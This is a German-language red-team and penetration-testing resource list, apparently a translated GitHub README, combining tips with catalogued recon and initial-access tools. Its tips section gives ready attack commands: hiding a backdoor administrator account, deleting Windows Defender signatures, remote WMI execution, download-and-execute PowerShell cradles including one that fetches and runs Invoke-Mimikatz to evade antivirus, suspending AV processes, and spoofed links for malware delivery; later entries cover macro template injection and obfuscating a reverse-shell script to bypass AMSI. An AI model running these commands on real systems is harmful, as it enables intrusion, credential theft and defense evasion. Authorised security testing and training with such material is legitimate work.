Werkzeuge und Techniken für Red Team / Penetrationstests
Dieses GitHub-Repository enthält eine Sammlung von 150+ Werkzeugen und Ressourcen, die für Red-Team-Aktivitäten nützlich sein können.
Einige der Werkzeuge sind speziell für Red Teaming konzipiert, während andere allgemeinerer Natur sind und für einen Red-Teaming-Kontext angepasst werden können.
🔗 Wenn Sie ein Blue Teamer sind, schauen Sie sich BlueTeam-Tools an.
Warnung
Die Materialien in diesem Repository dienen nur zu Informations- und Bildungszwecken. Sie sind nicht für die Verwendung in illegalen Aktivitäten bestimmt.
Hinweis
Verstecken Sie die Tool-Liste-Überschriften mit dem Pfeil.
Klicken Sie auf 🔙, um zur Liste zurückzukehren.
Lernen Sie von Red Teamern mit einer Sammlung von Red-Teaming-Tipps. Diese Tipps decken eine Reihe von Taktiken, Tools und Methoden ab, um Ihre Red-Teaming-Fähigkeiten zu verbessern.
Beschreibung: 'Qakbot fügte dem HTML-Schmuggel-Anhang einen EventListener für Mausbewegungen hinzu, um Anti-Evasion in Sandboxen zu ermöglichen, sodass das ZIP nicht abgelegt wird.'
Quelle: @pr0xylife
Link: Twitter
Credit: @malmoeb
Link: Twitter
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Beschreibung:** *'Die Erstellung von Konten ist riskant, wenn man sich vor Blue versteckt, aber bei der Erstellung eines lokalen Administrators kann man eine niedliche Registry-Zauberei verwenden, um es zu verstecken.'*
**Credit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Windows Defender durch Löschen von Signaturen lahmlegen```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Beschreibung: 'Ein bisschen chaotisch, aber wenn Windows Defender dir große Kopfschmerzen bereitet, solltest du ihn nicht deaktivieren (was den Benutzer alarmiert), sondern ihn einfach entkernen, indem du alle Signaturen löschst.'
Quelle: @Alh4zr3d
Link: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Beschreibung:** *'Manchmal möchte man sich per RDP oder ähnlich bei einem Host anmelden, aber der eigene Benutzer hat eine aktive Sitzung. Mehrere Sitzungen pro Benutzer aktivieren.'*
**Quelle:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Sysinternals PsExec.exe lokale Alternative```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Beschreibung: 'Hast du es satt, bei lateraler Bewegung immer Sysinternals PsExec.exe hochzuladen? Windows hat eine bessere Alternative vorinstalliert. Versuch stattdessen dies.'
Credit: @GuhnooPlusLinux
Link: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Beschreibung:** *'Wenn möglich, nutzen Sie die vorhandenen Ressourcen des Systems anstatt Tools auf die Maschinen hochzuladen (aus vielen Gründen). PowerShell/.NET helfen. Beispiel: einfacher Port-Scanner in PowerShell.'*
**Credit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy-bewusster PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Beschreibung: 'Die meisten großen Organisationen verwenden heutzutage Web-Proxys. Die standardmäßige PowerShell-Download-Wiege ist nicht proxy-fähig. Verwenden Sie diese.'
Quelle: @Alh4zr3d
Link: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Beschreibung:** *'Sie wären überrascht, was Sie allein aus den Lesezeichen eines Benutzers herausfinden können. Interne Endpunkte, auf die sie zugreifen können, zum Beispiel.'*
**Credit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)DNS-Einträge für die Enumeration abfragen```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Beschreibung: 'Aufklärung ist 95% des Spiels. Aber das Ausführen von Unmengen an Scans, um die Umgebung zu bewerten, ist sehr laut. Warum nicht einfach den DC/DNS-Server nach allen DNS-Einträgen fragen?'
Danksagung: @Alh4zr3d
Link: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Beschreibung:** *'Finden von nicht in Anführungszeichen gesetzten Dienstpfaden ohne PowerUp'*
**Credit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Deaktivierte Eingabeaufforderung mit /k umgehen```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Beschreibung: 'Diese Eingabeaufforderung wurde von Ihrem Administrator deaktiviert...' Diese Meldung erscheint häufig in Umgebungen wie Kiosk-PCs. Ein schneller Hack-Umgehung ist die Verwendung von /k über das Windows-Ausführungsfenster. Dadurch wird der Befehl ausgeführt und anschließend die Einschränkungsmeldung angezeigt, was die Befehlsausführung ermöglicht.
Credit: Martin Sohn Christensen
Link: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Beschreibung:** *'Sind Sie es leid, dass Windows Defender mimikatz.exe löscht? Versuchen Sie stattdessen dies.'*
**Quellenangabe:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Link:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Überprüfen, ob Sie sich in einer virtuellen Maschine befinden```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Beschreibung: 'Wollen Sie wissen, ob Sie sich in einer virtuellen Maschine befinden? Fragen Sie die Registrierungsschlüssel ab und finden Sie es heraus!!! Wenn Ergebnisse angezeigt werden, befinden Sie sich in einer virtuellen Maschine.'
Autor: @dmcxblue
Link: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Beschreibung:** *'AppLocker kann eine Qual sein. Erhebe Daten, um zu sehen, wie schlimm es ist.'*
**Quelle:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
### [🔙](#tool-list)CMD-Verknüpfung mit 6 Pixeln via mspaint
1. Öffnen Sie MSPaint.exe und stellen Sie die Leinwandgröße auf: Breite=6 und Höhe=1 Pixel
2. Zoomen Sie hinein, um die folgenden Aufgaben zu erleichtern
3. Verwenden Sie den Farbwähler, stellen Sie die Pixelwerte (von links nach rechts) ein:
- 1.: R: 10, G: 0, B: 0
- 2.: R: 13, G: 10, B: 13
- 3.: R: 100, G: 109, B: 99
- 4.: R: 120, G: 101, B: 46
- 5.: R: 0, G: 0, B: 101
- 6.: R: 0, G: 0, B: 0
4. Speichern Sie es als 24-Bit-Bitmap (*.bmp;*.dib)
5. Ändern Sie die Erweiterung von bmp zu bat und führen Sie es aus.
**Beschreibung:** *'Eine ungewöhnliche, aber effektive Methode, um eine Shell zu erhalten, indem man eine Verknüpfung zu cmd.exe erstellt, indem man bestimmte Farben in Microsoft Paint zeichnet. Aufgrund des Kodierungsalgorithmus, der zum Schreiben von BMP-Dateien verwendet wird, ist es möglich, ASCII-Daten zu diktieren, die in eine Datei geschrieben werden, indem man bestimmte RGB-Farben sorgfältig auswählt.'*
**Quelle:** [PenTestPartners](https://www.pentestpartners.com/)
**Link:** [Blog](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/#gainingacommandshell)
### [🔙](#tool-list)Link-Spoofing mit der PreventDefault-JavaScript-Methode
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PreventDefault Example</title>
</head>
<body>
<a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a>
</body>
</html>
Beschreibung: Bedrohungsakteure wurden beobachtet, wie sie diese Technik einsetzen, um Opfer dazu zu bringen, auf gefälschte In-Page-Malware-Download-Links zu klicken. Mit der JavaScript-Methode PreventDefault kann der Hover-Link so gefälscht werden, dass er einen legitimen Link google.com anzeigt. Sobald jedoch geklickt wird, wird das Opfer auf den bösartigen Link bing.com weitergeleitet. Ideal, um Opfer dazu zu bringen, Payloads über eine kontrollierte Website herunterzuladen.
Link: PreventDefault-Dokumentation
```powershell
Copy-Item -Path "C:\tmp" -Destination "\<ip_running_responder>\c$"
**Beschreibung:** *'Wenn ich eine Kompromissbewertung durchführe, frage ich den Kunden oft, ob ich noch eine schnelle Überprüfung machen kann: `Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"`. Wenn Responder den Hash erfassen konnte, erlaubt die Firewall ausgehende SMB-Verbindungen.'*
**Credit:** [@malmoeb](https://twitter.com/malmoeb)
**Link:** [Twitter](https://twitter.com/malmoeb/status/1628272928855826433)
---
### [🔙](#tool-list)AV mit SysInternals PsSuspend deaktivieren
**Beschreibung:** *'Mit dem Microsoft Sysinternals-Tool PsSuspend.exe ist es möglich, einige AV-Dienstausführungsdateien zu pausieren. Das von Microsoft signierte Tool kann die PID oder den Namen eines laufenden Dienstes übergeben bekommen und wird den Prozess über die Windows-API NtSuspendProcess anhalten.'*
**Verwandter Blogbeitrag:** [Umgehung von AV durch Prozessaussetzung mit PsSuspend.exe](https://medium.com/@a-poc/process-suspension-with-pssuspend-exe-0cdf5d16a3b7)
**Link:** [Twitter](https://twitter.com/0gtweet/status/1638069413717975046)
---
Reconnaissance
====================
### [🔙](#tool-list)[spiderfoot](https://github.com/smicallef/spiderfoot)
SpiderFoot ist ein Open-Source-Intelligence- (OSINT-) Automatisierungstool. Es integriert sich mit nahezu jeder verfügbaren Datenquelle und verwendet eine Reihe von Methoden zur Datenanalyse, wodurch die Daten einfach navigiert werden können.
SpiderFoot kann offensiv (z. B. in einer Red-Team-Übung oder einem Penetrationstest) zur Aufklärung Ihres Ziels oder defensiv eingesetzt werden, um Informationen darüber zu sammeln, was Sie oder Ihre Organisation möglicherweise über das Internet preisgegeben haben.
**Installation:**```bash
wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz
tar zxvf v4.0.tar.gz
cd spiderfoot-4.0
pip3 install -r requirements.txt
Vollständige Installationsanweisungen finden Sie hier.
Verwendung:```python python3 ./sf.py -l 127.0.0.1:5001
Viele Anleitungsvideos zur Nutzung [hier](https://asciinema.org/~spiderfoot)
*Bild verwendet von https://github.com/smicallef/spiderfoot*
### [🔙](#tool-list)[reconftw](https://github.com/six2dez/reconftw)
reconFTW automatisiert den gesamten Aufklärungsprozess für Sie. Es übertrifft die Arbeit der Subdomain-Enumeration zusammen mit verschiedenen Sicherheitsüberprüfungen und der Beschaffung maximaler Informationen über Ihr Ziel.
**Installation:**```bash
git clone https://github.com/six2dez/reconftw.git;cd reconftw/;./install.sh
Vollständige Installationsanweisungen finden Sie hier.
Verwendung:```bash
./reconftw.sh -d target.com -r
./reconftw.sh -m target -l domains.txt -r
./reconftw.sh -d target.com -p
./reconftw.sh -d target.com -a
Ausführliche Nutzungshinweise finden Sie [hier](https://github.com/six2dez/reconftw/wiki/2.-Usage-Guide).
*Bild verwendet von https://www.youtube.com/watch?v=TQmDAtkD1Wo*
### [🔙](#tool-list)[subzy](https://github.com/PentestPad/subzy)
Subdomain-Übernahme-Tool, das auf dem Abgleich von Antwort-Fingerabdrücken von [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz/blob/master/README.md) basiert.
**Installation:**```bash
go install -v github.com/PentestPad/subzy@latest
Vollständige Installationsanweisungen finden Sie hier.
Verwendung:```bash
./subzy run --targets list.txt
./subzy run --target test.google.com ./subzy run --target test.google.com,https://test.yahoo.com
*Bild verwendet von https://www.geeksforgeeks.org/subzy-subdomain-takeover-vulnerability-checker-tool/*
### [🔙](#tool-list)[smtp-user-enum](https://github.com/cytopia/smtp-user-enum)
SMTP-Benutzerenumeration via VRFY, EXPN und RCPT mit intelligenter Timeout-, Wiederholungs- und Wiederverbindungsfunktionalität.
**Installation:**```bash
pip install smtp-user-enum
Verwendung:```bash smtp-user-enum [options] -u/-U host port smtp-user-enum --help smtp-user-enum --version
*Bild verwendet von https://www.kali.org/tools/smtp-user-enum/*
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
Ich habe einen Bash-Einzeiler zusammengestellt, der:
- passiv eine Liste von Subdomains aus Zertifikatsverbindungen sammelt ([crt.sh](https://crt.sh/))
- aktiv jede Subdomain anfragt, um ihre Existenz zu überprüfen ([httprobe](https://github.com/tomnomnom/httprobe))
- aktiv von jeder Subdomain einen Screenshot für die manuelle Überprüfung erstellt ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Verwendung:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Hinweis: Sie müssen httprobe, pup und EyeWitness installiert haben und 'DOMAIN_COM' durch die Ziel-Domain ersetzen. Sie können dieses Skript gleichzeitig in mehreren Terminal-Fenstern ausführen, wenn Sie mehrere Ziel-Root-Domains haben.
Ein JavaScript-Bookmarklet zum Extrahieren aller Endpunkt-Links einer Webseite.
Erstellt von @renniepak, dieser JavaScript-Code-Ausschnitt kann verwendet werden, um alle Endpunkte (beginnend mit /) aus dem aktuellen Webseiten-DOM zu extrahieren, einschließlich aller externen Skriptquellen, die auf der Webseite eingebettet sind.```javascript
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"
")})}setTimeout(writeResults,3e3);})();
**Verwendung (Bookmarklet)**
Erstellen Sie ein Bookmarklet...
- `Rechtsklick auf Ihre Lesezeichenleiste`
- `Klicken Sie auf 'Seite hinzufügen'`
- `Fügen Sie das obige JavaScript in das 'URL'-Feld ein`
- `Klicken Sie auf 'Speichern'`
...dann besuchen Sie die Opferseite im Browser und klicken Sie auf das Bookmarklet.
**Verwendung (Konsole)**
Fügen Sie das obige JavaScript in das Konsolenfenster `F12` ein und drücken Sie die Eingabetaste.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Schneller Schwachstellenscanner, der .yaml-Vorlagen verwendet, um nach bestimmten Problemen zu suchen.
**Installation:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Verwendung:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff ist ein Keyword-Watcher für Certificate-Transparency-Logs, den ich in Python geschrieben habe. Es verwendet die certstream-Bibliothek, um nach Protokollen zur Zertifikatserstellung zu suchen, die Schlüsselwörter enthalten, die in einer Datei definiert sind.
Sie können dies mit mehreren Schlüsselwörtern in Bezug auf Ihre Opferdomäne ausführen lassen. Alle Zertifikatserstellungen werden aufgezeichnet und können zur Entdeckung von Domänen führen, von denen Sie zuvor nichts wussten.
**Installation:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Verwendung:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Nützliches Tool zum Brute-Forcen von Datei-/Ordnerpfaden auf einer Zielwebsite.
**Install:**```bash
sudo apt install gobuster
Verwendung:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Ein Tool, das entwickelt wurde, um Forced Browsing durchzuführen, einen Angriff, bei dem das Ziel darin besteht, Ressourcen zu enumerieren und darauf zuzugreifen, die nicht von der Webanwendung referenziert werden, aber dennoch für einen Angreifer zugänglich sind.
Feroxbuster verwendet Brute Force in Kombination mit einer Wortliste, um nach unverlinkten Inhalten in Zielverzeichnissen zu suchen. Diese Ressourcen können sensible Informationen über Webanwendungen und Betriebssysteme speichern, wie Quellcode, Anmeldedaten, interne Netzwerkadressierung usw.
**Installation: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Installation: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Installation: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Für vollständige Installationsanweisungen siehe hier.
Nutzung:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Vollständige Nutzungsbeispiele finden Sie [hier](https://epi052.github.io/feroxbuster-docs/docs/examples/).
*Bild verwendet von https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif*
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Ein Tool zum Auffinden der Infrastruktur, Dateien und Apps eines Unternehmens (Ziels) auf den führenden Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Funktionen:
- Cloud-Erkennung (IPINFO API und Quellcode)
- Schnell (gleichzeitig)
- Plattformübergreifend (windows, linux, mac)
- User-Agent-Randomisierung
- Proxy-Randomisierung (HTTP, Socks5)
**Installation:**
Laden Sie die neueste [Version](https://github.com/0xsha/CloudBrute/releases) für Ihr System herunter und folgen Sie der Nutzung.
**Verwendung:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Bild verwendet von https://github.com/0xsha/CloudBrute
dnsrecon ist ein pyhton-Tool zur Aufzählung von DNS-Einträgen (MX, SOA, NS, A, AAAA, SPF und TXT) und kann aus einer einzigen Domain-Suche eine Reihe neuer, zugehöriger Opfer-Hosts zum Weiterleiten (Pivot) bereitstellen.
Installation:```bash sudo apt install dnsrecon
**Verwendung:**```bash
dnsrecon -d google.com
Shodan durchsucht die öffentliche Infrastruktur und zeigt sie in einem durchsuchbaren Format an. Mit einem Firmennamen, Domainnamen oder einer IP-Adresse ist es möglich, über Shodan potenziell anfällige Systeme in Bezug auf Ihr Ziel zu entdecken.
Tool zum Auflisten von Subdomains, DNS-Auflistung, WAF-Erkennung, WHOIS, Portscan, Wayback Machine, E-Mail-Harvesting.
Install:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Verwendung:**```python
python3 AORT.py -d google.com
Ein Programm, das prüft, ob eine Domain gespooft werden kann. Das Programm überprüft SPF- und DMARC-Einträge auf schwache Konfigurationen, die Spoofing ermöglichen. Zusätzlich warnt es, wenn die Domain eine DMARC-Konfiguration hat, die bei fehlgeschlagenen SPF-/DKIM-E-Mails E-Mails oder HTTP-Anfragen sendet.
Domänen sind spoofbar, wenn eine der folgenden Bedingungen erfüllt ist:
~all oder -allp=none gesetzt oder nicht vorhandenInstallation:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Verwendung:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump ist ein Tool zur schnellen Enumeration von AWS S3 Buckets, um nach interessanten Dateien zu suchen. Es ähnelt einem Subdomain-Bruteforcer, ist aber speziell für S3 Buckets ausgelegt und bietet zusätzliche Funktionen, mit denen Sie nach Dateien grep sowie interessante Dateien herunterladen können.
Installation:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Verwendung:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Nützliches Tool zum Auffinden von Informationen aus GitHub mit Regex, mit der Möglichkeit, nach bestimmten GitHub-Benutzern und/oder Projekten zu suchen.
Install:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Verwendung:**```
./githarvester.py
TruffleHog ist ein Tool, das Git-Repositorys scannt und nach Zeichenfolgen mit hoher Entropie sowie Mustern sucht, die auf das Vorhandensein von Geheimnissen wie Passwörtern und API-Schlüsseln hinweisen können. Mit TruffleHog können Sie schnell und einfach vertrauliche Informationen finden, die versehentlich in ein Repository committet und gepusht wurden.
Installation (Binärdateien): Link
Installation (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Verwendung:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap ist ein Werkzeug zur Erkennung und Identifizierung von Assets. Es kann schnell Protokolle und Fingerabdruckinformationen wie web/tcp/udp identifizieren, Asset-Typen lokalisieren und ist für interne und externe Netzwerke geeignet.
Dismap verfügt über eine vollständige Fingerabdruck-Regelbasis, die derzeit tcp/udp/tls-Protokoll-Fingerabdrücke und über 4500 Web-Fingerabdruck-Regeln umfasst, mit denen favicon, body, header usw. identifiziert werden können.
Installation:
Dismap ist eine Binärdatei für Linux, MacOS und Windows. Gehen Sie zu Release, um die entsprechende Version herunterzuladen und auszuführen:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Verwendung:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Bild verwendet von https://github.com/zhzyker/dismap
Ein Tool zum Auslesen von Informationen aus Windows- und Samba-Systemen.
Es kann genutzt werden, um eine breite Palette an Informationen zu sammeln, darunter:
Installieren: (Apt)```bash sudo apt install enum4linux
**Installation: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Verwendung:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
Vollständige Nutzungsinformationen finden Sie in diesem [Blog](https://labs.portcullis.co.uk/tools/enum4linux/).
*Bild verwendet von https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/*
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Gefährlich schneller DNS-/Netzwerk-/Port-Scanner, erstellt von [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), geschrieben in rust.
Sie benötigen eine Subdomain-Datei. *z.B. [Subdomain-Wortliste von Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)*.
**Installation:**
Laden Sie die neueste Version von [hier](https://github.com/Esc4iCEscEsc/skanuvaty/releases) herunter.```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Verwendung:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
*Bild verwendet von https://github.com/Esc4iCEscEsc/skanuvaty*
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor ist ein Intelligence-Tool, dessen Ziel es ist, OSINT-Aufgaben und mehr zu erledigen, jedoch ohne API-Schlüssel.
**Hauptfunktionen:**
- Suche nach Informationen über IP-Adresse, ASN und Organisation.
- Wrapper für effizienteres Ausführen von rustscan, masscan und nmap auf IP/CIDR.
- Finden weiterer verwandter Domains des Ziels durch Anwendung verschiedener Techniken (Zertifikat, Whois, Google Analytics usw.).
- Zusammenfassung über IP-Adresse erhalten (unterstützt von [@thebl4ckturtle](https://github.com/theblackturtle))
**Installation:**```bash
go install github.com/j3ssie/metabigor@latest
Verwendung:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
*Bild verwendet von https://github.com/j3ssie/metabigor*
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob ist ein Tool, das dabei hilft, potenziell sensible Dateien zu finden, die in öffentliche Repositories auf Github gepusht wurden.
Gitrob klont Repositories eines Benutzers oder einer Organisation bis zu einer konfigurierbaren Tiefe, durchläuft die Commit-Historie und markiert Dateien, die Signaturen für potenziell sensible Dateien entsprechen.
Die Ergebnisse werden über eine Weboberfläche präsentiert, die eine einfache Durchsicht und Analyse ermöglicht.
**Hinweis:** *Gitrob benötigt ein Github-Zugriffstoken, um mit der Github API interagieren zu können. [Erstellen Sie ein persönliches Zugriffstoken](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) und speichern Sie es in einer Umgebungsvariable in Ihrer .bashrc oder einer ähnlichen Shell-Konfigurationsdatei:*```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Installieren: (Go)```bash go get github.com/michenriksen/gitrob
**Installation: (Binär)**
Eine [vorkompilierte Version](https://github.com/michenriksen/gitrob/releases) ist für jedes Release verfügbar.
**Verwendung:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Bild verwendet von https://www.uedbox.com/post/58828/
Gowitness ist ein Dienstprogramm für Website-Screenshots, geschrieben in Golang, das Chrome Headless verwendet, um Screenshots von Weboberflächen über die Befehlszeile zu erstellen, mit einem praktischen Berichtsbetrachter zur Verarbeitung der Ergebnisse. Sowohl Linux als auch macOS werden unterstützt, die Windows-Unterstützung funktioniert größtenteils.
Installation: (Go)```bash go install github.com/sensepost/gowitness@latest
Vollständige Installationsinformationen finden Sie [hier](https://github.com/sensepost/gowitness/wiki/Installation).
**Verwendung:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
Vollständige Nutzungsinformationen finden Sie hier.
Bild verwendet von https://github.com/sensepost/gowitness
Injiziert Link zu einer entfernten Word-Vorlage in ein Word-Dokument.
Dieses Python-basierte Dienstprogramm ändert den Link in settings.xml.rels einer .docx-Datei zu einer remote gehosteten .dotm-Vorlage, die ein VBA-Makro enthält. Dieses wird ausgeführt, wenn das Dokument geöffnet und Makros aktiviert sind.
Installation:```bash git clone https://github.com/JohnWoodman/remoteinjector;cd remoteinjector
**Verwendung:**```bash
python3 remoteinjector.py -w https://example.com/template.dotm example.docx
Chimera ist ein PowerShell-Obfuskierungsskript, das entwickelt wurde, um AMSI und Antivirenlösungen zu umgehen. Es verarbeitet bösartige PS1's, die bekanntermaßen AV auslösen, und verwendet Zeichenersetzung und Variablenverkettung, um gängige Erkennungssignaturen zu umgehen.
Installation:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**Nutzung:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
